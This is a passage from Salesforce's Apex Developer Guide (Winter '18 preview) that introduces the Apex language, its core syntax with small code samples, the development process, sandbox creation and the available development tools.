Apex Developer Guide - Salesforce Implementation guides

Apex Developer Guide
Version 41.0, Winter ’18
PREVIEW
Note: This release is in preview. Features described in this document don’t become generally available
until the latest general availability date that Salesforce announces for this release. Before then, and
where features are noted as beta, pilot, or developer preview, we can’t guarantee general availability
within any particular time frame or at all. Make your purchase decisions only on the basis of generally
available products and features.
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Last updated: August 17, 2017
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CONTENTS
Chapter 1: Apex Developer Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Getting Started with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Introducing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Apex Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Apex Quick Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Writing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Data Types and Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Control Flow Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Classes, Objects, and Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Working with Data in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Running Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Invoking Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Apex Transactions and Governor Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Using Salesforce Features with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
Integration and Apex Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 470
Debugging, Testing, and Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
Debugging Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
Testing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 569
Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 603
Distributing Apex Using Managed Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 609
Apex Language Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 614
Apex DML Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 616
ApexPages Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 621
AppLauncher Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 652
Approval Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
Auth Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 674
Cache Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 754
Canvas Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 803
ChatterAnswers Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 822
ConnectApi Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 824
Database Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1795
Datacloud Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1839
DataSource Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1856
Dom Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1927
EventBus Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1940
Flow Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1942
KbManagement Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1944
Messaging Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1956
Metadata Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2001
Contents
Process Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2102
QuickAction Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2115
Reports Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2154
Schema Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2272
Search Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2333
Sfc Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2348
Site Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2352
Support Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2354
System Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2358
TerritoryMgmt Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2973
TxnSecurity Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2976
UserProvisioning Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2988
VisualEditor Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2996
wave Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3007
Appendices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3018
SOAP API and SOAP Headers for Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3019
Shipping Invoice Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3046
Reserved Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3058
Action Links Labels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3060
Documentation Typographical Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3065
Glossary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3066
INDEX
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3082
CHAPTER 1
In this chapter ...
•
Getting Started with
Apex
•
Writing Apex
•
Running Apex
•
Debugging, Testing,
and Deploying Apex
•
Apex Language
Reference
•
Appendices
•
Glossary
Apex Developer Guide
Salesforce has changed the way organizations do business by moving enterprise applications that were
traditionally client-server-based into the Force.com platform, an on-demand, multitenant Web
environment. This environment enables you to run and customize applications, such as Salesforce
Automation and Service & Support, and build new custom applications based on particular business
needs.
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Apex Developer Guide
Getting Started with Apex
Getting Started with Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server, in conjunction with calls to the Force.com API.
IN THIS SECTION:
Introducing Apex
Force.com Apex code is the first multitenant, on-demand programming language for developers interested in building the next
generation of business applications. Apex revolutionizes the way developers create on-demand applications.
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll
also learn about testing and deploying Apex code.
Apex Quick Start
This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
Introducing Apex
Force.com Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation
of business applications. Apex revolutionizes the way developers create on-demand applications.
While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects,
workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(),
update() or upsert(), from client-side programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages, grant organizations more flexibility
in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform
servers, they are restricted by the performance costs of making multiple round-trips to the Salesforce site to accomplish common business
transactions, and by the cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment.
IN THIS SECTION:
1. What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and
acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
2. Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages.
3. When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators
and developers to implement custom functionality.
4. How Does Apex Work?
All Apex runs entirely on demand on the Force.com platform. Developers write and save Apex code to the platform, and end users
trigger the execution of the Apex code via the user interface.
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Apex Developer Guide
Introducing Apex
5. Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data
access and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides
many benefits for automating business processes on the platform, it is not a general purpose programming language.
6. What's New?
Review the Salesforce Release Notes to learn about new and changed features.
What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute
flow and transaction control statements on the Force.com platform server in conjunction with calls
to the Force.com API. Using syntax that looks like Java and acts like database stored procedures,
Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests
and from triggers on objects.
3
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
Apex Developer Guide
Introducing Apex
You can add Apex to most system events.
As a language, Apex is:
Integrated
Apex provides built-in support for common Force.com platform idioms, including:
• Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
• Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
• Looping that allows for bulk processing of multiple records at a time
• Locking syntax that prevents record update conflicts
• Custom public Force.com API calls that can be built from stored Apex methods
• Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and
encourage efficient use of the Force.com platform. Therefore, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server.
Developers use database stored procedures to thread together multiple transaction statements on a database server in a similar
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Apex Developer Guide
Introducing Apex
way. Like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user
interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid. It stores all custom field, object, and class dependencies in metadata to ensure that they
are not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. So, the Apex runtime engine is designed to guard
closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Automatically upgradeable
You never have to rewrite Apex when other parts of the Force.com platform are upgraded. Because compiled code is stored as
metadata in the platform, Apex is upgraded as part of Salesforce releases.
Easy to test
Apex provides built-in support for unit test creation and execution. It includes test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.
Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages.
Programming elements in Apex
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Apex Developer Guide
Introducing Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.
Using Version Settings
In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You cannot save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions
of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the
settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that
is not already associated with the class or trigger.
For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help.
Naming Variables, Methods and Classes
You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of
Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.
Using Variables and Expressions
Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:
datatype variable_name [ = value];
Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
The following are examples of variable declarations:
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
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Apex Developer Guide
Introducing Apex
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. This means that when the method returns,
the passed-in argument still references the same object as before the method call and can't be changed to point to another object.
However, the values of the object's fields can be changed in the method.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops:
– Do-while
– While
– For
• Locking
• Data Manipulation Language (DML)
• Transaction Control
• Method Invoking
• Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
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Apex Developer Guide
Introducing Apex
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
List <datatype> list_name
[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();
For more information, see Lists on page 30.
A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.
To create a set:
• Use the new keyword
• Use the Set keyword followed by the primitive data type contained within <> characters
Use the following syntax for creating a set:
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};
For more information, see Sets on page 32.
A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
• Use the new keyword
• Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:
Map<key_datatype, value_datatype> map_name
[=new map<key_datatype, value_datatype>();] |
[=new map<key_datatype, value_datatype>
{key1_value => value1_value
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Apex Developer Guide
Introducing Apex
[, key2_value => value2_value. . .]};] |
;
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};
For more information, see Maps on page 33.
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}
For more information, see Conditional (If-Else) Statements on page 49.
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
• Do-while
• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 50.
When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and
developers to implement custom functionality.
Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
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Apex Developer Guide
Introducing Apex
• Create complex business processes that are not supported by workflow.
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.
Lightning Components
Lightning components use a tag-based markup language that enables you to build components to customize Lightning Experience,
Salesforce1, or build your own standalone apps. Components use an event-driven architecture that’s powered by JavaScript on the client
side and Apex on the server side. You can also use out-of-the-box components to speed up development.
For more information, see the Lightning Components Developer's Guide.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.
• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.
How Does Apex Work?
All Apex runs entirely on demand on the Force.com platform. Developers write and save Apex code to the platform, and end users trigger
the execution of the Apex code via the user interface.
Apex is compiled, stored, and run entirely on the Force.com platform
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
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Apex Developer Guide
Introducing Apex
When an end user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end user observes no differences in execution time from standard platform requests.
Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data access
and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many
benefits for automating business processes on the platform, it is not a general purpose programming language.
Apex cannot be used to:
• Render elements in the user interface other than error messages
• Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
• Create temporary files
• Spawn threads
Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.
SEE ALSO:
Trigger and Bulk Request Best Practices
What's New?
Review the Salesforce Release Notes to learn about new and changed features.
Current Release
Learn about our newest features. You can also visit the Summer ’17 community page.
Our release notes include complete details about new features, as well as implementation tips and best practices.
• Summer ’17 Release Notes
• Salesforce for Outlook Release Notes
• Force.com Connect for Office Release Notes
• Force.com Connect Offline Release Notes
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
• Spring ’17 Release Notes
• Winter ’17 Release Notes
• Summer ’16 Release Notes
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Introducing Apex
• Spring ’16 Release Notes
• Winter ’16 Release Notes
• Summer ’15 Release Notes
• Spring ’15 Release Notes
• Winter ’15 Release Notes
• Summer ’14 Release Notes
• Spring ’14 Release Notes
• Winter ’14 Release Notes
• Summer ’13 Release Notes
• Spring ’13 Release Notes
• Winter ’13 Release Notes
• Summer ’12 Release Notes
• Spring ’12 Release Notes
• Winter ’12 Release Notes
• Summer ’11 Release Notes
• Spring ’11 Release Notes
• Winter ’11 Release Notes
• Summer ’10 Release Notes
• Spring ’10 Release Notes
• Winter ’10 Release Notes
• Summer ’09 Release Notes
• Spring ’09 Release Notes
• Winter ’09 Release Notes
• Summer ’08 Release Notes
• Spring ’08 Release Notes
• Winter ’08 Release Notes
• Summer ’07 Release Notes
• Spring ’07 Release Notes
• Force.com Mobile 7.0 for BlackBerry Release Notes
• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Winter ’07 Release Notes
• Summer ’06 Release Notes
• Winter ’06 Release Notes
• Force.com Mobile 6.0 Release Notes
• Summer ’05 Release Notes
• Winter ’05 Release Notes
• Summer ’04 Release Notes
• Spring ’04 Release Notes
• Winter ’04 Release Notes
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Apex Developer Guide
Apex Development Process
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll also
learn about testing and deploying Apex code.
IN THIS SECTION:
What is the Apex Development Process?
To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
Create a Developer or Sandbox Org
You can run Apex in a production org, a developer org, or a sandbox org. You can develop Apex in a developer org or a sandbox
org, but not in a production org.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE
allow you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t
support debugging.
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly
recommend that you use a test-driven development process, that is, test development that occurs at the same time as code
development.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations
that you perform in your sandboxes don’t affect your production org.
Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex
to your Salesforce production organization.
Adding Apex Code to a Force.com AppExchange App
You can include an Apex class or trigger in an app that you are creating for AppExchange.
What is the Apex Development Process?
To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
We recommend the following process for developing Apex:
1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
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In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange
App package.
Create a Developer or Sandbox Org
You can run Apex in a production org, a developer org, or a sandbox org. You can develop Apex in a developer org or a sandbox org,
but not in a production org.
• Production org—An org that has live users accessing your data
• Developer org—An org created with a Developer Edition account
• Sandbox org—An org created on your production org that is a copy of your production org
Note: Apex triggers are available in the Trial Edition of Salesforce. However, they are disabled when you convert to any other
edition. If your newly signed-up org includes Apex, deploy your code to your org using one of the deployment methods.
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're developing can destabilize your
data or corrupt your application. Instead, do all your development work in either a sandbox or a Developer Edition org.
If you aren't already a member of the developer community, go to http://developer.salesforce.com/signup and
follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition org. Even if you already have a Professional, Enterprise, Unlimited, or Performance Edition org and a sandbox for creating Apex,
we strongly recommend that you take advantage of the resources available in the developer community.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
To create a sandbox org:
1. From Setup, enter Sandboxes in the Quick Find box, then select Sandboxes.
2. Click New Sandbox.
3. Enter a name (10 characters or fewer) and description for the sandbox.
We recommend that you choose a name that:
• Reflects the purpose of this sandbox, such as QA.
• Has only a few characters, because Salesforce appends the sandbox name to usernames on user records in the sandbox
environment. Names with fewer characters make sandbox logins easier to type.
4. Select the type of sandbox you want.
If you don’t see a sandbox option or need licenses for more, contact Salesforce to order sandboxes for your org.
If you reduce the number of sandboxes you purchase, you are required to match the number of your sandboxes to the number you
purchased. For example, if you have two Full sandboxes but purchased only one, you can’t create a Full sandbox. Instead, convert
a Full sandbox to a smaller one, such as a Developer Pro or Developer sandbox, depending on which types you have available.
5. Select the data to include in your Partial Copy or Full sandbox.
• For a Partial Copy sandbox, click Next, and then select the template you created to specify the data for your sandbox. If you have
not created a template for this Partial Copy sandbox, see Create or Edit Sandbox Templates.
• For a Full sandbox click Next, and then decide how much data to include.
– To include template-based data for a Full sandbox, select an existing sandbox template. For more information, see Create
or Edit Sandbox Templates
– To include all data in a Full sandbox, choose whether and how much field tracking history data to include, and whether to
copy Chatter data. You can copy from 0 to 180 days of history, in 30-day increments. The default is 0 days. Chatter data
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includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed sandbox
copy time.
6. To run scripts after each create and refresh for this sandbox, specify the Apex class you previously created from the SandboxPostCopy
interface.
7. Click Create.
Tip: Try to limit changes in your production org while the sandbox copy proceeds.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered
around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is,
you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to
ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for
large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete,
you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start
of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash
Builder for Force.com.
Force.com Workbook: HTML | PDF
Apex Workbook
Beginning programmers
The Apex Workbook introduces you to the Apex programming language through a set of tutorials. You’ll learn the fundamentals of
Apex and how you can use it on the Force.com platform to add custom business logic through triggers, unit tests, scheduled Apex,
batch Apex, REST Web services, and Visualforce controllers.
Apex Workbook: HTML | PDF
Salesforce Developers Apex Page
Beginning and advanced programmers
The Apex page on Salesforce Developers has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages.
The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices.
You can read and comment on existing recipes, or submit your own recipes, at http://developer.force.com/cookbook.
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Lifecycle Guide prepares you to undertake the
development and release of complex applications on the Force.com platform.
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Training Courses
Training classes are also available from Salesforce Training & Certification. You can find a complete list of courses at the Training &
Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
• Introducing Apex, and in particular:
– Documentation Conventions
– Core Concepts
– Quick Start Tutorial
• Classes, Objects, and Interfaces
• Testing Apex
• Execution Governors and Limits
In addition to the above, advanced programmers should look at:
• Trigger and Bulk Request Best Practices
• Advanced Apex Programming Example
• Understanding Apex Describe Information
• Asynchronous Execution (@future Annotation)
• Batch Apex and Apex Scheduler
Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow
you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t support
debugging.
Force.com Developer Console
The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test
applications in your Salesforce organization.
The Developer Console supports these tasks:
• Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
• Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported.
• Debugging—You can view debug logs and set checkpoints that aid in debugging.
• Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
• Checking performance—You can inspect debug logs to locate performance bottlenecks.
• SOQL queries—You can query data in your organization and view the results using the Query Editor.
• Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.
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Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com
applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development,
including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view,
integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and
usage.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling
triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production
environments. For more information, see Deploying Apex on page 603 and SOAP API and SOAP Headers for Apex on page 3019.
Code Editor in the Salesforce User Interface
The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot
